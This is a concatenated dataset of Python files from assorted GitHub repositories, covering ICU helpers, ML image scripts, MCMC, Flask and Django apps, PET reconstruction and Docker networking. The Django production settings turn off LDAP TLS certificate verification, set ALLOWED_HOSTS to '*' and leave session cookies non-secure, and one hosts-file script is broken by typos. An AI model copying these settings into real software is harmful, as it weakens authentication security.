raise TypeError('glyph must be a string with length of 1')\n elif len(glyph) == 0:\n return default\n else:\n return icu.Char.charName(glyph)\n\ndef cp_glyph(cp, default=''):\n try:\n return chr(int(cp, 16))\n except ValueError:\n return default\n\ndef cp_name(cp, default=''):\n return glyph_name(cp_glyph(cp), default)\n\ndef glyph_cp(glyph):\n return hex(ord(glyph))[2:]\n\nclass Rbnf:\n def __init__(self, tag=\"spellout\", locale=\"\", rules=\"\"):\n if rules:\n self._rbnf = icu.RuleBasedNumberFormat(rules)\n else:\n if tag.lower() not in {\"spellout\", \"duration\", \"ordinal\", \"numbering_system\"}:\n raise ValueError(\"tag must be 'spellout', 'duration', 'ordinal', or 'numbering_system'\")\n self._rbnf = icu.RuleBasedNumberFormat(getattr(icu.URBNFRuleSetTag, tag.upper()), icu.Locale(locale))\n\n def format(self, number):\n return self._rbnf.format(number)\n\n @property\n def ruleset(self):\n return self._rbnf.getDefaultRuleSetName()\n\n @ruleset.setter\n def ruleset(self, ruleset_name):\n try:\n self._rbnf.setDefaultRuleSet(ruleset_name)\n except icu.ICUError:\n raise ValueError(f\"{ruleset_name} not a valid ruleset. See {self.__class__.__name__}.rulesets() for valid rulesets.\")\n \n def rulesets(self):\n return {self._rbnf.getRuleSetName(i) for i in range(self._rbnf.getNumberOfRuleSetNames())}\n \n def rules(self):\n return self._rbnf.getRules()\n\n def parse(self, string):\n try:\n return self._rbnf.parse(string)\n except icu.ICUError:\n raise ValueError(\"unable to parse string\")\n \n", "source": "longnow/panlex-tools", "license": "MIT"} {"text": "#!/usr/bin/python\n#coding=utf8\n\nimport socket\n\nhost = 'github.com'\n\ntry:\n with open('etc/hosts', 'a+') as fp:\n ip = socket.gethostnbyname(host)\n fp.write(' ',join([ip, host, '\\n']))\nexcept BaseException as e:\n print(e)\nelse:\n print('sucess')\n\n", "source": "ZuiYee/ProxyPool", "license": "Apache-2.0"} {"text": "# Copyright (c) 2017-present, Facebook, Inc.\n# All rights reserved.\n#\n# This source code is licensed under the license found in the\n# LICENSE file in the root directory of this source tree.\n#\n\nimport os\nimport argparse\nimport numpy as np\nimport torch\nfrom torch.autograd import Variable\nfrom torchvision.utils import make_grid\nimport matplotlib.image\n\nfrom src.logger import create_logger\nfrom src.loader import load_images, DataSampler\nfrom src.utils import bool_flag\n\n\n# parse parameters\nparser = argparse.ArgumentParser(description='Attributes swapping')\nparser.add_argument(\"--model_path\", type=str, default=\"\",\n help=\"Trained model path\")\nparser.add_argument(\"--n_images\", type=int, default=10,\n help=\"Number of images to modify\")\nparser.add_argument(\"--offset\", type=int, default=0,\n help=\"First image index\")\nparser.add_argument(\"--n_interpolations\", type=int, default=10,\n help=\"Number of interpolations per image\")\nparser.add_argument(\"--alpha_min\", type=float, default=1,\n help=\"Min interpolation value\")\nparser.add_argument(\"--alpha_max\", type=float, default=1,\n help=\"Max interpolation value\")\nparser.add_argument(\"--plot_size\", type=int, default=5,\n help=\"Size of images in the grid\")\nparser.add_argument(\"--row_wise\", type=bool_flag, default=True,\n help=\"Represent image interpolations horizontally\")\nparser.add_argument(\"--output_path\", type=str, default=\"output.png\",\n help=\"Output path\")\nparams = parser.parse_args()\n\n# check parameters\nassert os.path.isfile(params.model_path)\nassert params.n_images >= 1 and params.n_interpolations >= 2\n\n# create logger / load trained model\nlogger = create_logger(None)\nae = torch.load(params.model_path).eval()\n\n# restore main parameters\nparams.debug = True\nparams.batch_size = 32\nparams.v_flip = False\nparams.h_flip = False\nparams.img_sz = ae.img_sz\nparams.attr = ae.attr\nparams.n_attr = ae.n_attr\nif not (len(params.attr) == 1 and params.n_attr == 2):\n raise Exception(\"The model must use a single boolean attribute only.\")\n\n# load dataset\ndata, attributes = load_images(params)\ntest_data = DataSampler(data[2], attributes[2], params)\n\n\ndef get_interpolations(ae, images, attributes, params):\n \"\"\"\n Reconstruct images / create interpolations\n \"\"\"\n assert len(images) == len(attributes)\n enc_outputs = ae.encode(images)\n\n # interpolation values\n alphas = np.linspace(1 - params.alpha_min, params.alpha_max, params.n_interpolations)\n alphas = [torch.FloatTensor([1 - alpha, alpha]) for alpha in alphas]\n\n # original image / reconstructed image / interpolations\n outputs = []\n outputs.append(images)\n outputs.append(ae.decode(enc_outputs, attributes)[-1])\n for alpha in alphas:\n alpha = Variable(alpha.unsqueeze(0).expand((len(images), 2)).cuda())\n outputs.append(ae.decode(enc_outputs, alpha)[-1])\n\n # return stacked images\n return torch.cat([x.unsqueeze(1) for x in outputs], 1).data.cpu()\n\n\ninterpolations = []\n\nfor k in range(0, params.n_images, 100):\n i = params.offset + k\n j = params.offset + min(params.n_images, k + 100)\n images, attributes = test_data.eval_batch(i, j)\n interpolations.append(get_interpolations(ae, images, attributes, params))\n\ninterpolations = torch.cat(interpolations, 0)\nassert interpolations.size() == (params.n_images, 2 + params.n_interpolations,\n 3, params.img_sz, params.img_sz)\n\n\ndef get_grid(images, row_wise, plot_size=5):\n \"\"\"\n Create a grid with all images.\n \"\"\"\n n_images, n_columns, img_fm, img_sz, _ = images.size()\n if not row_wise:\n images = images.transpose(0, 1).contiguous()\n images = images.view(n_images * n_columns, img_fm, img_sz, img_sz)\n images.add_(1).div_(2.0)\n return make_grid(images, nrow=(n_columns if row_wise else n_images))\n\n\n# generate the grid / save it to a PNG file\ngrid = get_grid(interpolations, params.row_wise, params.plot_size)\nmatplotlib.image.imsave(params.output_path, grid.numpy().transpose((1, 2, 0)))\n", "source": "ameya005/Semantic_Adversarial_Attacks", "license": "MIT"} {"text": "\"\"\"\nExample demonstrating the usage for the linear-fit scenario.\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport sys\nsys.path.insert(0,'../src')\nfrom mcmc import MCMC\n\n#----------------------------------------------------------\n\nclass LinearFit(MCMC):\n\t\"\"\"\n\tExtends the original MCMC class to sample the parameters of a linear model.\n\n\tParameters\n\t-----------\n\tMCMC (Class): Parent MCMC class.\n\tm (Float): Feducial value of the slope of the linear data.\n\tc (Float): Feducial value of the intercept of the linear data.\n\tRedStd (Float): Feducial value of the standard deviation of the linear data.\n\t\"\"\"\n\tdef __init__(self, m=5.0, c=25.0, RedStd=15.0):\n\t\t\"\"\"\n\t\tInstantiates the class by synthetically generating data.\n\t\t\"\"\"\n\t\tMCMC.__init__(self, TargetAcceptedPoints=10000, \\\n\t\t\t\tNumberOfParams=2, Mins=[0.0,20.0], Maxs=[10.0,30.0], SDs=[1.0,2.0], alpha=0.2,\\\n\t\t\t\twrite2file=True, outputfilename='chain.mcmc', randomseed=250192)\t\t\n\n\t\tself.X=np.linspace(-10, 10, 25)\n\t\tself.delta = np.random.uniform(low=-1*RedStd, high=RedStd, size=len(self.X))\n\t\tself.Y = (m*self.X + c) + self.delta\n\n#----------------------------------------------------------\n\n\tdef FittingFunction(self, Params):\n\t\t\"\"\"\n\t\tParametric form of the model.\n\n\t\tParameters\n\t\t----------\n\t\tParams (1d array): Numpy array containing values of the parameters. \n\n\t\tReturns\n\t\t-------\n\t\tmodel values (y = mx + c)\n\t\t\"\"\"\n\t\treturn Params[0]*self.X + Params[1]\n\n#----------------------------------------------------------\n\n\tdef chisquare(self, Params):\n\t\t\"\"\"\n\t\tComputes Chi-square.\n\n\t\tParameters\n\t\t----------\n\t\tParams (1d array): Numpy array containing values of the parameters. \n\n\t\tReturns\n\t\t-------\n\t\tchi square.\n\t\t\"\"\"\n\t\tkisquare = ((self.Y-self.FittingFunction(Params))/self.delta)**2\n\t\treturn np.sum(kisquare)\n\n#==============================================================================\n\nif __name__==\"__main__\":\n\tco = LinearFit()\n\tprint co.MainChain()", "source": "creativeishu/pychain", "license": "MIT"} {"text": "from tkinter import Tk, Text, ttk\nfrom tkinter.constants import ANCHOR, BOTTOM, END, LEFT, NW, RIGHT, SW, W\n\n\nclass Fr_lbProduto(ttk.Frame):\n def __init__(self, parent):\n super().__init__(parent)\n\n self.lbfr_produto = ttk.Labelframe(self, text='Info Produto')\n self.fr = ttk.Frame(self.lbfr_produto)\n self.fr1 = ttk.Frame(self.fr)\n self.fr2 = ttk.Frame(self.fr)\n self.fr_descricao = ttk.Frame(self.lbfr_produto)\n \n self.lb_id = ttk.Label(self.fr1, text='id:', width=10)\n self.lb_nome = ttk.Label(self.fr1, text='nome:', width=10)\n self.lb_marca = ttk.Label(self.fr1, text='marca:', width=10)\n self.lb_qtd = ttk.Label(self.fr1, text='Qtd:', width=10)\n self.lb_preco = ttk.Label(self.fr1, text='R$:', width=10)\n self.lb_descricao = ttk.Label(self.fr_descricao, text='descri\u00e7\u00e3o:', width=10)\n\n self.lb_id.grid(row=0, column=0)\n self.lb_nome.grid(row=1, column=0)\n self.lb_marca.grid(row=2, column=0)\n self.lb_qtd.grid(row=3, column=0)\n self.lb_preco.grid(row=4, column=0)\n self.lb_descricao.grid(row=0, column=0)\n\n self.lb_idInfo = ttk.Label(self.fr2, text='', width=25)\n self.lb_nomeInfo = ttk.Label(self.fr2, text='', width=25)\n self.lb_marcaInfo = ttk.Label(self.fr2, text='', width=25)\n self.lb_qtdInfo = ttk.Label(self.fr2, text='', width=25)\n self.lb_precoInfo = ttk.Label(self.fr2, text='', width=25)\n \n self.txt_discricao = Text(self.fr_descricao, width=35, height=6)\n \n self.lb_idInfo.grid(row=0, column=1)\n self.lb_nomeInfo.grid(row=1, column=1)\n self.lb_marcaInfo.grid(row=2, column=1)\n self.lb_qtdInfo.grid(row=3, column=1)\n self.lb_precoInfo.grid(row=4, column=1)\n self.txt_discricao.grid(row=1, column=0)\n \n self.fr1.pack(side=LEFT, anchor=NW)\n self.fr2.pack(side=LEFT, anchor=NW)\n self.fr.pack()\n self.fr_descricao.pack(side=BOTTOM)\n self.lbfr_produto.pack()\n\n def inserir_dados(self, dados):\n id = dados[0]\n nome = dados[1]\n marca = dados[2]\n qtd = dados[3]\n preco = dados[4]\n descricao = dados[5]\n \n # print('id:', id)\n # print('nome:', nome)\n # print('marca:', marca)\n # print('qtd:', qtd)\n # print('preco:', preco)\n # print('descricao:', descricao)\n\n self.lb_idInfo.config(text=id)\n self.lb_nomeInfo.config(text=nome)\n self.lb_marcaInfo.config(text=marca)\n self.lb_qtdInfo.config(text=qtd)\n self.lb_precoInfo.config(text=preco)\n # self.txt_discricao.config(text=descricao)\n self.txt_discricao.delete(1.0, END)\n self.txt_discricao.insert(1.0, descricao)\n def deletar_dados(self):\n self.lb_idInfo.config(text='')\n self.lb_nomeInfo.config(text='')\n self.lb_marcaInfo.config(text='')\n self.lb_qtdInfo.config(text='')\n self.lb_precoInfo.config(text='')\n # self.txt_discricao.config(text='')\n self.txt_discricao.delete(1.0, END)\n\n\n\n\nif __name__ == '__main__':\n \n # print('so um teste')\n\n root = Tk()\n root.geometry('500x500')\n dados = (5, 'Iphone', 'Apple', 5254, 20000.0, 'um smartphone caro, que vem carregador\\n\\n\\n\\n')\n \n frame = Fr_lbProduto(root)\n frame.inserir_dados(dados)\n frame.pack()\n\n root.mainloop()\n\n\n\n\n", "source": "jonasht/Python", "license": "MIT"} {"text": "\"\"\"Forward and back projector for PET data reconstruction\"\"\"\n__author__ = \"Pawel Markiewicz\"\n__copyright__ = \"Copyright 2018\"\n#------------------------------------------------------------------------------\nimport numpy as np\nimport sys\nimport os\nimport logging\n\nimport petprj\n\nfrom niftypet.nipet.img import mmrimg\nfrom niftypet.nipet import mmraux\n\n#=========================================================================\n# forward projector\n#-------------------------------------------------------------------------\ndef frwd_prj(im, scanner_params, isub=np.array([-1], dtype=np.int32), dev_out=False, attenuation=False):\n ''' Calculate forward projection (a set of sinograms) for the provided input image.\n Arguments:\n im -- input image (can be emission or mu-map image).\n scanner_params -- dictionary of all scanner parameters, containing scanner constants,\n transaxial and axial look up tables (LUT).\n isub -- array of transaxial indices of all sinograms (angles x bins) used for subsets.\n when the first element is negative, all transaxial bins are used (as in pure EM-ML).\n dev_out -- if True, output sinogram is in the device form, i.e., with two dimensions\n (# bins/angles, # sinograms) instead of default three (# sinograms, # bins, # angles).\n attenuation -- controls whether emission or LOR attenuation probability sinogram\n is calculated; the default is False, meaning emission sinogram; for attenuation\n calculations (attenuation=True), the exponential of the negative of the integrated\n mu-values along LOR path is taken at the end.\n '''\n log = logging.getLogger(__name__)\n\n # Get particular scanner parameters: Constants, transaxial and axial LUTs\n Cnt = scanner_params['Cnt']\n txLUT = scanner_params['txLUT']\n axLUT = scanner_params['axLUT']\n\n #>choose between attenuation forward projection (mu-map is the input)\n #>or the default for emission image forward projection\n if attenuation:\n att = 1\n else:\n att = 0\n\n if Cnt['SPN']==1:\n # number of rings calculated for the given ring range (optionally we can use only part of the axial FOV)\n NRNG_c = Cnt['RNG_END'] - Cnt['RNG_STRT']\n # number of sinos in span-1\n nsinos = NRNG_c**2\n # correct for the max. ring difference in the full axial extent (don't use ring range (1,63) as for this case no correction)\n if NRNG_c==64:\n nsinos -= 12\n elif Cnt['SPN']==11: nsinos=Cnt['NSN11']\n elif Cnt['SPN']==0: nsinos=Cnt['NSEG0']\n\n if im.shape[0]==Cnt['SO_IMZ'] and im.shape[1]==Cnt['SO_IMY'] and im.shape[2]==Cnt['SO_IMX']:\n ims = mmrimg.convert2dev(im, Cnt)\n elif im.shape[0]==Cnt['SZ_IMX'] and im.shape[1]==Cnt['SZ_IMY'] and im.shape[2]==Cnt['SZ_IMZ']:\n ims = im\n elif im.shape[0]==Cnt['rSO_IMZ'] and im.shape[1]==Cnt['SO_IMY'] and im.shape[2]==Cnt['SO_IMX']:\n ims = mmrimg.convert2dev(im, Cnt)\n elif im.shape[0]==Cnt['SZ_IMX'] and im.shape[1]==Cnt['SZ_IMY'] and im.shape[2]==Cnt['rSZ_IMZ']:\n ims = im\n else:\n log.error('wrong image size; it has to be one of these: (z,y,x) = (127,344,344) or (y,x,z) = (320,320,128)')\n\n log.debug('number of sinos:%d' % nsinos)\n\n #predefine the sinogram. if subsets are used then only preallocate those bins which will be used.\n if isub[0]<0:\n sinog = np.zeros((txLUT['Naw'], nsinos), dtype=np.float32)\n else:\n sinog = np.zeros((len(isub), nsinos), dtype=np.float32)\n\n # --------------------\n petprj.fprj(sinog, ims, txLUT, axLUT, isub, Cnt, att)\n # --------------------\n # get the sinogram bins in a proper sinogram\n sino = np.zeros((txLUT['Naw'], nsinos), dtype=np.float32)\n if isub[0]>=0: sino[isub,:] = sinog\n else: sino = sinog\n\n # put the gaps back to form displayable sinogram\n if not dev_out:\n sino = mmraux.putgaps(sino, txLUT, Cnt)\n\n return sino\n\n#=========================================================================\n# back projector\n#-------------------------------------------------------------------------\ndef back_prj(sino, scanner_params, isub=np.array([-1], dtype=np.int32)):\n ''' Calculate forward projection for the provided input image.\n Arguments:\n sino -- input emission sinogram to be back projected to the image space.\n scanner_params -- dictionary of all scanner parameters, containing scanner constants,\n transaxial and axial look up tables (LUT).\n isub -- array of transaxial indices of all sinograms (angles x bins) used for subsets;\n when the first element is negative, all transaxial bins are used (as in pure EM-ML).\n '''\n\n # Get particular scanner parameters: Constants, transaxial and axial LUTs\n Cnt = scanner_params['Cnt']\n txLUT = scanner_params['txLUT']\n axLUT = scanner_params['axLUT']\n\n if Cnt['SPN']==1:\n # number of rings calculated for the given ring range (optionally we can use only part of the axial FOV)\n NRNG_c = Cnt['RNG_END'] - Cnt['RNG_STRT']\n # number of sinos in span-1\n nsinos = NRNG_c**2\n # correct for the max. ring difference in the full axial extent (don't use ring range (1,63) as for this case no correction)\n if NRNG_c==64:\n nsinos -= 12\n elif Cnt['SPN']==11: nsinos=Cnt['NSN11']\n elif Cnt['SPN']==0: nsinos=Cnt['NSEG0']\n\n\n #> check first the Siemens default sinogram;\n #> for this default shape only full sinograms are expected--no subsets.\n if len(sino.shape)==3:\n if sino.shape[0]!=nsinos or sino.shape[1]!=Cnt['NSANGLES'] or sino.shape[2]!=Cnt['NSBINS']:\n raise ValueError('Unexpected sinogram array dimensions/shape for Siemens defaults.')\n sinog = mmraux.remgaps(sino, txLUT, Cnt)\n\n elif len(sino.shape)==2:\n if isub[0]<0 and sino.shape[0]!=txLUT[\"Naw\"]:\n raise ValueError('Unexpected number of transaxial elements in the full sinogram.')\n elif isub[0]>=0 and sino.shape[0]!=len(isub):\n raise ValueError('Unexpected number of transaxial elements in the subset sinogram.')\n #> check if the number of sinograms is correct\n if sino.shape[1]!=nsinos:\n raise ValueError('Inconsistent number of sinograms in the array.')\n #> when found the dimensions/shape are fine:\n sinog = sino\n else:\n raise ValueError('Unexpected shape of the input sinogram.')\n\n #predefine the output image depending on the number of rings used\n if Cnt['SPN']==1 and 'rSZ_IMZ' in Cnt:\n nvz = Cnt['rSZ_IMZ']\n else:\n nvz = Cnt['SZ_IMZ']\n bimg = np.zeros((Cnt['SZ_IMX'], Cnt['SZ_IMY'], nvz), dtype=np.float32)\n\n #> run back-projection\n petprj.bprj(bimg, sinog, txLUT, axLUT, isub, Cnt)\n\n #> change from GPU optimised image dimensions to the standard Siemens shape\n bimg = mmrimg.convert2e7(bimg, Cnt)\n\n return bimg\n#-------------------------------------------------------------------------\n", "source": "rijobro/NIPET", "license": "Apache-2.0"} {"text": "from .. import ldc\nfrom .node import SwarmNode\n\n\nclass SwarmSubnet(ldc.DockerSubnet):\n\n def __init__(self, *args, size: int = 510, **kwargs):\n self._cluster_hosts = {}\n self._offset = size\n super().__init__(*args, size=size*2, **kwargs)\n\n def add_node(self, node: 'SwarmNode'):\n\n ip_address = self._get_host_ip()\n\n # docker swarm overlay requires additional ip address for lode balancer each cluster node (cluster_host in l3ns)\n if not isinstance(node, ldc.DockerNode) and node.cluster_host.address not in self._hosts:\n self._cluster_hosts[node.cluster_host.address] = self._hosts.pop(0)\n\n self._nodes_dict[ip_address] = node\n if node not in self._network:\n self._network.add_node(node)\n node.add_interface(ip_address, self)\n\n def _get_host_ip(self):\n # Since we don't have control over ip management for lode balancers, first free ip of the docker network\n # ip range will be used for each swarm node. Since it's not possible to control starting order of the nodes,\n # it's easier to just make network twice as large and give out addresses only from the second half\n return str(self._hosts.pop(self._offset+1))\n\n def start(self):\n if self.started:\n return self.docker_network\n\n self.docker_network = self._client.networks.create(\n self.name,\n driver='overlay',\n attachable=True,\n ipam=self._make_ipam_config())\n\n if not self.docker_network.attrs['Driver']:\n raise Exception('Error: IPAM customisation failed for swarm network {}, check if other networks overlap ip pool'.format(self.name))\n\n self.started = True\n self.loaded = True\n\n print('[swarm] subnet', self.name, 'started')\n\n return self.docker_network\n", "source": "rukmarr/l3ns", "license": "MIT"} {"text": "from django.apps import AppConfig\n\nclass OficinaConfig(AppConfig):\n name = 'oficina'\n", "source": "krixapolinario/django-project-one", "license": "MIT"} {"text": "import sqlite3\nfrom flask_restful import Resource, reqparse\nfrom flask_jwt import jwt_required\n\n\nclass Item(Resource):\n parser = reqparse.RequestParser()\n parser.add_argument(\n 'price',\n type = float,\n required = True,\n help = \"This field cannot be empty\"\n )\n\n\n #GET method for a single item\n @jwt_required()\n def get(self, name):\n item = self.find_by_name(name)\n if item:\n return item\n return {'message': 'items not found'}, 404\n\n @classmethod\n def find_by_name(cls, name):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"SELECT * FROM items WHERE name=?\"\n result = cursor.execute(query, (name,))\n row = result.fetchone()\n connection.close()\n\n if row:\n return {'items': {'name': row[0], 'price': row[1]}}\n\n\n #POST method for creating an item\n def post(self, name):\n if self.find_by_name(name):\n return {'message' : \"An item with the name {} already exists. Please check the details.\".format(name)}, 400\n\n data = Item.parser.parse_args()\n item = {'name': name, 'price': data['price']}\n\n try:\n self.insert(item) #insertion function called\n except:\n return {\"message\":\"An error occured while inserting the item\"}, 500 #Internal Server Error\n\n return item, 201\n\n #For inserting items into database\n @classmethod\n def insert(cls, item):\n\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"INSERT INTO items VALUES (?, ?)\"\n cursor.execute(query, (item['name'],item['price']))\n\n connection.commit()\n connection.close()\n\n def delete(self, name):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"DELETE FROM items WHERE name=?\"\n cursor.execute(query, (name,))\n\n connection.commit()\n connection.close()\n\n return {'message':'Item deleted'}\n\n #PUT method -> updating an existing item or creating a new item\n def put(self, name):\n data = Item.parser.parse_args()\n\n item = self.find_by_name(name)\n updated_item = {'name': name, 'price': data['price']}\n\n if item is None:\n try:\n self.insert(updated_item)\n except:\n return {\"message\":\"An error occured while inserting the item\"}, 500 #Internal Server Error\n else:\n try:\n self.update(updated_item)\n except:\n return {\"message\":\"An error occured while updating the item\"}, 500 #Internal Server Error\n\n return updated_item\n\n @classmethod\n def update(cls, item):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"UPDATE items SET price=? WHERE name=?\"\n cursor.execute(query, (item['price'],item['name']))\n\n connection.commit()\n connection.close()\n\n\nclass ItemList(Resource):\n def get(self):\n connection = sqlite3.connect('data.db')\n cursor = connection.cursor()\n\n query = \"SELECT * FROM items\"\n result = cursor.execute(query)\n items = []\n for row in result:\n items.append({'name': row[0], 'price': row[1]})\n\n connection.close()\n\n return {'items' : items}\n", "source": "ArupkBiswas/flask-exercises", "license": "MIT"} {"text": "# Copyright (c) 2017 Cisco Systems, Inc.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\n# Stub module containing the networking_cisco trunk APIs.\n#\n# TODO(rcurran): Remove once networking_cisco is no longer supporting\n# stable/newton.\n\nTRUNK_SUBPORT_OWNER = \"\"\nVLAN = \"\"\nACTIVE_STATUS = \"\"\n\n\nclass SubPort(object):\n @classmethod\n def get_object(cls, context, *args):\n return None\n\n\nclass TrunkObject(object):\n @classmethod\n def update(cls, **kargs):\n pass\n\n\nclass Trunk(object):\n @classmethod\n def get_object(cls, context, **kargs):\n return TrunkObject\n\n\nclass DriverBase(object):\n def __init__(self, name, interfaces, segmentation_types,\n agent_type=None, can_trunk_bound_port=False):\n pass\n", "source": "Tehsmash/networking-cisco", "license": "Apache-2.0"} {"text": "# -*- coding: utf-8 -*-\n'''\nProduction Configurations\n\n- Use djangosecure\n\n'''\nfrom __future__ import absolute_import, unicode_literals\n\nimport ldap\nfrom django_auth_ldap.config import LDAPSearch, GroupOfNamesType\n\nfrom .common import * # noqa\n\n\n\n# SECRET CONFIGURATION\n# ------------------------------------------------------------------------------\n# See: https://docs.djangoproject.com/en/dev/ref/settings/#secret-key\n# Raises ImproperlyConfigured exception if DJANGO_SECRET_KEY not in os.environ\nSECRET_KEY = env(\"DJANGO_SECRET_KEY\")\n\n\n# django-secure\n# ------------------------------------------------------------------------------\nINSTALLED_APPS += (\"djangosecure\",)\n\nSECURITY_MIDDLEWARE = (\n 'djangosecure.middleware.SecurityMiddleware',\n)\n\n# Make sure djangosecure.middleware.SecurityMiddleware is listed first\nMIDDLEWARE_CLASSES = SECURITY_MIDDLEWARE + MIDDLEWARE_CLASSES\n\n# set this to 60 seconds and then to 518400 when you can prove it works\nSECURE_HSTS_SECONDS = 60\nSECURE_HSTS_INCLUDE_SUBDOMAINS = env.bool(\"DJANGO_SECURE_HSTS_INCLUDE_SUBDOMAINS\", default=True)\nSECURE_FRAME_DENY = env.bool(\"DJANGO_SECURE_FRAME_DENY\", default=True)\nSECURE_CONTENT_TYPE_NOSNIFF = env.bool(\"DJANGO_SECURE_CONTENT_TYPE_NOSNIFF\", default=True)\nSECURE_BROWSER_XSS_FILTER = True\nSESSION_COOKIE_SECURE = False\nSESSION_COOKIE_HTTPONLY = True\n\n# SITE CONFIGURATION\n# ------------------------------------------------------------------------------\n# Hosts/domain names that are valid for this site\n# See https://docs.djangoproject.com/en/1.6/ref/settings/#allowed-hosts\nALLOWED_HOSTS = [\"*\"]\n# END SITE CONFIGURATION\n\n\nINSTALLED_APPS += (\"gunicorn\",)\n\n# AUTHENTICATION\n# --------------\nAUTH_LDAP_SERVER_URI = env('AUTH_LDAP_SERVER_URI')\nAUTH_LDAP_BIND_AS_AUTHENTICATING_USER = env('AUTH_LDAP_BIND_AS_AUTHENTICATING_USER', default=True)\n\nAUTH_LDAP_GLOBAL_OPTIONS = {\n ldap.OPT_X_TLS_REQUIRE_CERT: ldap.OPT_X_TLS_NEVER,\n ldap.OPT_NETWORK_TIMEOUT: 10,\n ldap.OPT_DEBUG_LEVEL: 255\n}\n\nAUTH_LDAP_BIND_DN = ''\nAUTH_LDAP_BIND_PASSWORD = ''\nAUTH_LDAP_USER_DN_TEMPLATE = env('AUTH_LDAP_USER_DN_TEMPLATE', default=None)\nAUTH_LDAP_USER_SEARCH_DN = env('AUTH_LDAP_USER_SEARCH_DN')\nAUTH_LDAP_GROUP_SEARCH_DN = env('AUTH_LDAP_GROUP_SEARCH_DN')\nAUTH_LDAP_SUPERUSER_DN = env('AUTH_LDAP_SUPERUSER_DN', default=None)\n\n\nWRISTBAND_ENV = env('WRISTBAND_ENV', default='prod')\nAUTH_LDAP_USER_SEARCH = LDAPSearch(AUTH_LDAP_USER_SEARCH_DN, ldap.SCOPE_SUBTREE, \"(uid=%(user)s)\")\nAUTH_LDAP_GROUP_SEARCH = LDAPSearch(AUTH_LDAP_GROUP_SEARCH_DN, ldap.SCOPE_SUBTREE, \"(objectClass=groupOfNames)\")\nAUTH_LDAP_GROUP_TYPE = GroupOfNamesType()\nAUTH_LDAP_CACHE_GROUPS = True\nAUTH_LDAP_GROUP_CACHE_TIMEOUT = 300\nAUTH_LDAP_REQUIRE_GROUP = env('AUTH_LDAP_REQUIRE_GROUP', default=None)\n# We're not ready for this yet....\n# AUTH_LDAP_USER_FLAGS_BY_GROUP = {\n# \"is_superuser\": AUTH_LDAP_SUPERUSER_DN\n# }\n", "source": "hmrc/wristband", "license": "Apache-2.0"} {"text": "from ..ops import *\n\nclass Translator(object):\n \"\"\"\n A translator wraps a physical operator and provides the compilation logic.\n It follows the producer/consumer model.\n\n It also contains information about the lineage it needs to capture.\n \"\"\"\n\n _id = 0\n def __init__(self, op):\n self.id = Translator._id\n Translator._id += 1\n self.op = op\n self.child_translator = None\n self.parent_translator = None\n\n self.l_materialize = False\n self.l_capture = False\n self.l_prev_translator = None # previous translator that contains lindexes\n self.lindex = None\n self.lindexes = []\n\n @property\n def propagated_lindexes(self):\n \"\"\"\n Join\n / \\\n Join C\n | |\n A B\n\n \"\"\"\n return self.lindexes\n\n def prepare(self, c, p, pipeline):\n self.child_translator = c\n self.parent_translator = p\n self.pipeline = pipeline\n\n def is_type(self, klasses):\n if not isinstance(klasses, list):\n klasses = [klasses]\n return any(isinstance(self, k) for k in klasses)\n\n def produce(self, ctx):\n pass\n\n def consume(self, ctx):\n pass\n\n def compile_expr(self, ctx, e):\n \"\"\"\n @return var name containing expression result\n \"\"\"\n raise Exception(\"Not implemented\")\n\n def compile_exprs(self, ctx, exprs):\n \"\"\"\n @return [varname,] list of expression results\n \"\"\"\n raise Exception(\"Not implemented\")\n\n def compile_new_tuple(self, ctx, schema):\n \"\"\"\n @return varname containing the new tuple\n \"\"\"\n raise Exception(\"Not implemented\")\n\n def clean_prev_lineage_indexes(self):\n \"\"\"\n Clean up (delete) previous lineage indexes, \n if they are not materialized\n \"\"\"\n if self.l_capture and self.l_prev_translator:\n self.l_prev_translator.clean_lineage_indexes()\n\n def clean_lineage_indexes(self):\n if self.l_capture and not self.l_materialize:\n for lindex in self.propagated_lindexes:\n lindex.clean_lineage_indexes()\n self.lindex = None\n self.lindexes = []\n\n if hasattr(self, \"left\") and self.left:\n self.left.lindex = None\n self.left.lindexes = []\n\n def pretty_print(self):\n return self.op.pretty_print()\n\n def __str__(self):\n return \"%s: %s\" % (self.id, self.__class__.__name__)\n\n\nclass BottomTranslator(Translator):\n \"\"\"\n Unary operators that are pipeline breakers (groupby, orderby)\n are split into bottom and top translators.\n\n Bottom is responsible for buffering tuples in an appropriate data structure\n (hashtable for groupby, list for orderby)\n \"\"\"\n def __init__(self, op):\n super(BottomTranslator, self).__init__(op)\n\n self.l_i = None\n\nclass TopTranslator(Translator):\n \"\"\"\n Top is responsible for processing and walking the populated data struture\n from Bottom and generating output tuples for its parent tranlators\n \"\"\"\n def __init__(self, op, bottom):\n super(TopTranslator, self).__init__(op)\n self.bottom = bottom\n self.l_i = None # source rid\n self.l_o = None # output rid\n\n def initialize_lineage_indexes(self, ctx):\n pass\n\n def populate_lineage_indexes(self, ctx, v_bucket):\n pass\n\n\nclass LeftTranslator(Translator):\n \"\"\"\n Binary join operators are split into a left and right side.\n\n For hash joins, the left translator is a pipeline breaker that\n collects tuples in a hash table.\n For theta joins, the left is just a loop\n \"\"\"\n def __init__(self, op):\n super(LeftTranslator, self).__init__(op)\n self.l_i = None\n\n\nclass RightTranslator(Translator):\n \"\"\"\n Iterates over the right side of the join and probes the left side.\n \"\"\"\n def __init__(self, op, left):\n super(RightTranslator, self).__init__(op)\n self.left = left\n assert(op.is_type(Join))\n\n self.l_i = None\n self.l_o = None\n\n @property\n def propagated_lindexes(self):\n ret = []\n ret.extend(self.left.propagated_lindexes)\n ret.extend(self.lindexes)\n return ret\n\n\n", "source": "ivychen/databass-public", "license": "MIT"} {"text": "cities = [\n 'Sao Paulo',\n 'Rio de Janeiro',\n 'Salvador',\n 'Fortaleza',\n 'Belo Horizonte',\n 'Brasilia',\n 'Curitiba',\n 'Manaus',\n 'Recife',\n 'Belem',\n 'Porto Alegre',\n 'Goiania',\n 'Guarulhos',\n 